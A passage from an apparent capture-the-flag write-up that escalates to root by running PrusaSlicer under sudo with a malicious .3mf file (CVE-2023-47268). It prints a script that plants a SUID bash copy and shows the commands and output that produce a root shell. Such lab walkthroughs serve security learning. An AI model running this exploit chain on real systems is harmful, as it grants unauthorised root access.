We can execute PrusaSlicer
with sudo
.
PrusaSlicer
is the slicing software for Prusa 3D printers. It essentially ‘slices’ a 3D object into thin layers and a set of instructions which the 3D printer can then follow to print out your model.Searching we find a vulnerability labeled as CVE-2023-47268 that allows command execution for PrusaSlicer
. The problem is we need to install it into our attacker machine as is explained in this exploit-db exploit to create malicious files (with extension .3mf
) for this tool.
As an alternative, we are also able to find this Github repository that will execute a script named /tmp/exploit.sh
(with that absolute path). So download the file evil.3mf
stored in the mentioned repository, pass it into the victim machine and create a file /tmp/exploit.sh
with the content:
adam@trickster:~$ echo -e '#!/bin/bash\ncp $(which bash) /tmp/gunzf0x; chmod 4755 /tmp/gunzf0x' > /tmp/exploit.sh
adam@trickster:~$ chmod +x /tmp/exploit.sh
assigning to it execution permissions.
That is a simple Bash
script that will create a copy of bash
binary and, to that copy, assign SUID
permissions.
Execute the downloaded payload with -s
flag to load the payload:
adam@trickster:~$ sudo /opt/PrusaSlicer/prusaslicer -s /tmp/evil.3mf
10 => Processing triangulated mesh
20 => Generating perimeters
30 => Preparing infill
45 => Making infill
65 => Searching support spots
69 => Alert if supports needed
print warning: Detected print stability issues:
EXPLOIT
Low bed adhesion
Consider enabling supports.
Also consider enabling brim.
88 => Estimating curled extrusions
88 => Generating skirt and brim
90 => Exporting G-code to /tmp/EXPLOIT_0.3mm_{printing_filament_types}_MK4_{print_time}.gcode
Slicing result exported to /tmp/EXPLOIT_0.3mm_ABS_MK4_6m.gcode
If we check /tmp
directory our file is there:
adam@trickster:~$ ls -la /tmp
total 2140
drwxrwxrwt 19 root root 4096 Nov 9 08:04 .
drwxr-xr-x 20 root root 4096 Sep 13 12:24 ..
drwxrwxr-x 2 james james 4096 Aug 31 08:50 b4a8b52d-651b-44bc-bbc6-f9e8c6590103
drwxrwxr-x 3 james james 4096 Nov 9 07:18 backup_1
drwxrwxr-x 4 james james 4096 Nov 9 07:18 backup_2
<SNIP>
-rwsr-xr-x 1 root root 1396520 Nov 9 08:04 gunzf0x
<SNIP>
and use it to become root
user:
adam@trickster:~$ /tmp/gunzf0x -p
gunzf0x-5.1# whoami
root
GG. We can read the root flag at /root
directory.
~Happy Hacking.